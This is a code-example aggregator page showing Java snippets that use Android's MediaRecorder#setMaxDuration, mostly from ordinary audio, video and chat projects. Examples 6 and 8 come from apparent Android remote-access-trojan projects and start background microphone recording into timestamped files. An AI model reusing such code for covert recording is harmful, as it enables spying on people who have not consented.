Java Code Examples for android.media.MediaRecorder#setMaxDuration()

The following examples show how to use android.media.MediaRecorder#setMaxDuration() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: VMRecorder.java    From VMLibrary with Apache License 2.0 6 votes vote down vote up
/**
 * 初始化录制音频
 */
public void initVoiceRecorder() {
    // 实例化媒体录影机
    mMediaRecorder = new MediaRecorder();
    // 设置音频源为麦克风
    mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    /**
     * 设置音频文件编码格式,这里设置默认
     * https://developer.android.com/reference/android/media/MediaRecorder.AudioEncoder.html
     */
    mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
    /**
     * 设置音频文件输出格式
     * https://developer.android.com/reference/android/media/MediaRecorder.OutputFormat.html
     */
    mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    // 设置音频采样率
    mMediaRecorder.setAudioSamplingRate(mSamplingRate);
    // 设置音频编码比特率
    mMediaRecorder.setAudioEncodingBitRate(mEncodingBitRate);
    // 设置录音最大持续时间
    mMediaRecorder.setMaxDuration(mMaxDuration);
}
 
Example 2
Source File: RecordButton.java    From CoolChat with Apache License 2.0 6 votes vote down vote up
private void init() {

        //如果文件夹不创建的话那么执行到recorder.prepare()就会报错
        File dir = new File(audioPath);
        if (!dir.exists()) {
            dir.mkdirs();
        }

        recorder = new MediaRecorder();
        recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
        recorder.setMaxDuration(MAX_LENGTH);
        recorder.setOutputFile(audioFileName);
        try {
            recorder.prepare();
        } catch (IOException e) {
            e.printStackTrace();
            LogUtils.e("MediaRecorder prepare()报错");
        }
    }
 
Example 3
Source File: CaptureVideoActivity.java    From NIM_Android_UIKit with MIT License 6 votes vote down vote up
private boolean startRecorderInternal() throws Exception {
    shutdownCamera();
    if (!initCamera()) {
        return false;
    }
    switchCamera.setVisibility(View.GONE);
    mediaRecorder = new MediaRecorder();
    camera.unlock();
    mediaRecorder.setCamera(camera);
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
    mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
    setCamcorderProfile();
    mediaRecorder.setPreviewDisplay(surfaceHolder.getSurface());
    mediaRecorder.setMaxDuration(1000 * VIDEO_TIMES);
    mediaRecorder.setOutputFile(filename);
    setVideoOrientation();
    mediaRecorder.prepare();
    mediaRecorder.start();
    return true;
}
 
Example 4
Source File: JCameraView.java    From CameraView with Apache License 2.0 5 votes vote down vote up
private void startRecord() {
    mediaRecorder = new MediaRecorder();
    mediaRecorder.reset();
    mCamera.unlock();
    // 设置录制视频源为Camera(相机)
    mediaRecorder.setCamera(mCamera);
    mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    // 设置录制完成后视频的封装格式THREE_GPP为3gp.MPEG_4为mp4
    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    // 设置录制的视频编码h263 h264
    mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    // 设置视频录制的分辨率。必须放在设置编码和格式的后面,否则报错
    mediaRecorder.setVideoSize(width, height);
    // 设置录制的视频帧率。必须放在设置编码和格式的后面,否则报错
    if (SELECTED_CAMERA == CAMERA_FRONT_POSITION) {
        mediaRecorder.setOrientationHint(270);
    } else {
        mediaRecorder.setOrientationHint(90);
    }
    mediaRecorder.setMaxDuration(10000);
    mediaRecorder.setVideoEncodingBitRate(5 * 1024 * 1024);
    mediaRecorder.setVideoFrameRate(20);
    mediaRecorder.setPreviewDisplay(mHolder.getSurface());
    // 设置视频文件输出的路径
    mediaRecorder.setOutputFile("/sdcard/love.mp4");
    try {
        //准备录制
        mediaRecorder.prepare();
        // 开始录制
        mediaRecorder.start();
    } catch (IOException e) {
        e.printStackTrace();
    }
}
 
Example 5
Source File: VideoRecorder.java    From VideoCamera with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera) throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}
 
Example 6
Source File: MyService.java    From BetterAndroRAT with GNU General Public License v3.0 5 votes vote down vote up
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
 
Example 7
Source File: AudioRecorder.java    From ChatMessagesAdapter-android with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
private void initMediaRecorder() {
    recorder = new MediaRecorder();
    recorder.setAudioSource(configurationBuilder.audioSource);
    recorder.setOutputFormat(configurationBuilder.outputFormat);
    recorder.setOutputFile(configurationBuilder.filePath);
    recorder.setAudioChannels(configurationBuilder.channels);
    recorder.setAudioEncoder(configurationBuilder.audioEncoder);
    recorder.setAudioEncodingBitRate(configurationBuilder.bitRate);
    recorder.setAudioSamplingRate(configurationBuilder.samplingRate);
    recorder.setMaxDuration(configurationBuilder.duration);
    recorder.setOnInfoListener(new OnInfoListenerImpl());
    recorder.setOnErrorListener(new OnErrorListenerImpl());
}
 
Example 8
Source File: MyService.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 5 votes vote down vote up
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
 
Example 9
Source File: VideoRecorder.java    From LandscapeVideoCamera with Apache License 2.0 5 votes vote down vote up
@SuppressWarnings("deprecation")
protected void configureMediaRecorder(final MediaRecorder recorder, android.hardware.Camera camera)
        throws IllegalStateException, IllegalArgumentException {
    recorder.setCamera(camera);
    recorder.setAudioSource(mCaptureConfiguration.getAudioSource());
    recorder.setVideoSource(mCaptureConfiguration.getVideoSource());

    CamcorderProfile baseProfile = mCameraWrapper.getBaseRecordingProfile();
    baseProfile.fileFormat = mCaptureConfiguration.getOutputFormat();

    RecordingSize size = mCameraWrapper.getSupportedRecordingSize(mCaptureConfiguration.getVideoWidth(), mCaptureConfiguration.getVideoHeight());
    baseProfile.videoFrameWidth = size.width;
    baseProfile.videoFrameHeight = size.height;
    baseProfile.videoBitRate = mCaptureConfiguration.getVideoBitrate();

    baseProfile.audioCodec = mCaptureConfiguration.getAudioEncoder();
    baseProfile.videoCodec = mCaptureConfiguration.getVideoEncoder();

    recorder.setProfile(baseProfile);
    recorder.setMaxDuration(mCaptureConfiguration.getMaxCaptureDuration());
    recorder.setOutputFile(mVideoFile.getFullPath());
    recorder.setOrientationHint(mCameraWrapper.getRotationCorrection());
    recorder.setVideoFrameRate(mCaptureConfiguration.getVideoFPS());

    try {
        recorder.setMaxFileSize(mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (IllegalArgumentException e) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - illegal argument: " + mCaptureConfiguration.getMaxCaptureFileSize());
    } catch (RuntimeException e2) {
        CLog.e(CLog.RECORDER, "Failed to set max filesize - runtime exception");
    }
    recorder.setOnInfoListener(this);
}
 
Example 10
Source File: AACStream.java    From libstreaming with Apache License 2.0 4 votes vote down vote up
/** 
 * Records a short sample of AAC ADTS from the microphone to find out what the sampling rate really is
 * On some phone indeed, no error will be reported if the sampling rate used differs from the 
 * one selected with setAudioSamplingRate 
 * @throws IOException 
 * @throws IllegalStateException
 */
@SuppressLint("InlinedApi")
private void testADTS() throws IllegalStateException, IOException {
	
	setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
	try {
		Field name = MediaRecorder.OutputFormat.class.getField("AAC_ADTS");
		setOutputFormat(name.getInt(null));
	}
	catch (Exception ignore) {
		setOutputFormat(6);
	}

	String key = PREF_PREFIX+"aac-"+mQuality.samplingRate;

	if (mSettings!=null && mSettings.contains(key)) {
		String[] s = mSettings.getString(key, "").split(",");
		mQuality.samplingRate = Integer.valueOf(s[0]);
		mConfig = Integer.valueOf(s[1]);
		mChannel = Integer.valueOf(s[2]);
		return;
	}

	final String TESTFILE = Environment.getExternalStorageDirectory().getPath()+"/spydroid-test.adts";

	if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
		throw new IllegalStateException("No external storage or external storage not ready !");
	}

	// The structure of an ADTS packet is described here: http://wiki.multimedia.cx/index.php?title=ADTS

	// ADTS header is 7 or 9 bytes long
	byte[] buffer = new byte[9];

	mMediaRecorder = new MediaRecorder();
	mMediaRecorder.setAudioSource(mAudioSource);
	mMediaRecorder.setOutputFormat(mOutputFormat);
	mMediaRecorder.setAudioEncoder(mAudioEncoder);
	mMediaRecorder.setAudioChannels(1);
	mMediaRecorder.setAudioSamplingRate(mQuality.samplingRate);
	mMediaRecorder.setAudioEncodingBitRate(mQuality.bitRate);
	mMediaRecorder.setOutputFile(TESTFILE);
	mMediaRecorder.setMaxDuration(1000);
	mMediaRecorder.prepare();
	mMediaRecorder.start();

	// We record for 1 sec
	// TODO: use the MediaRecorder.OnInfoListener
	try {
		Thread.sleep(2000);
	} catch (InterruptedException e) {}

	mMediaRecorder.stop();
	mMediaRecorder.release();
	mMediaRecorder = null;

	File file = new File(TESTFILE);
	RandomAccessFile raf = new RandomAccessFile(file, "r");

	// ADTS packets start with a sync word: 12bits set to 1
	while (true) {
		if ( (raf.readByte()&0xFF) == 0xFF ) {
			buffer[0] = raf.readByte();
			if ( (buffer[0]&0xF0) == 0xF0) break;
		}
	}

	raf.read(buffer,1,5);

	mSamplingRateIndex = (buffer[1]&0x3C)>>2 ;
	mProfile = ( (buffer[1]&0xC0) >> 6 ) + 1 ;
	mChannel = (buffer[1]&0x01) << 2 | (buffer[2]&0xC0) >> 6 ;
	mQuality.samplingRate = AUDIO_SAMPLING_RATES[mSamplingRateIndex];

	// 5 bits for the object type / 4 bits for the sampling rate / 4 bits for the channel / padding
	mConfig = (mProfile & 0x1F) << 11 | (mSamplingRateIndex & 0x0F) << 7 | (mChannel & 0x0F) << 3;

	Log.i(TAG,"MPEG VERSION: " + ( (buffer[0]&0x08) >> 3 ) );
	Log.i(TAG,"PROTECTION: " + (buffer[0]&0x01) );
	Log.i(TAG,"PROFILE: " + AUDIO_OBJECT_TYPES[ mProfile ] );
	Log.i(TAG,"SAMPLING FREQUENCY: " + mQuality.samplingRate );
	Log.i(TAG,"CHANNEL: " + mChannel );

	raf.close();

	if (mSettings!=null) {
		Editor editor = mSettings.edit();
		editor.putString(key, mQuality.samplingRate+","+mConfig+","+mChannel);
		editor.commit();
	}

	if (!file.delete()) Log.e(TAG,"Temp file could not be erased");

}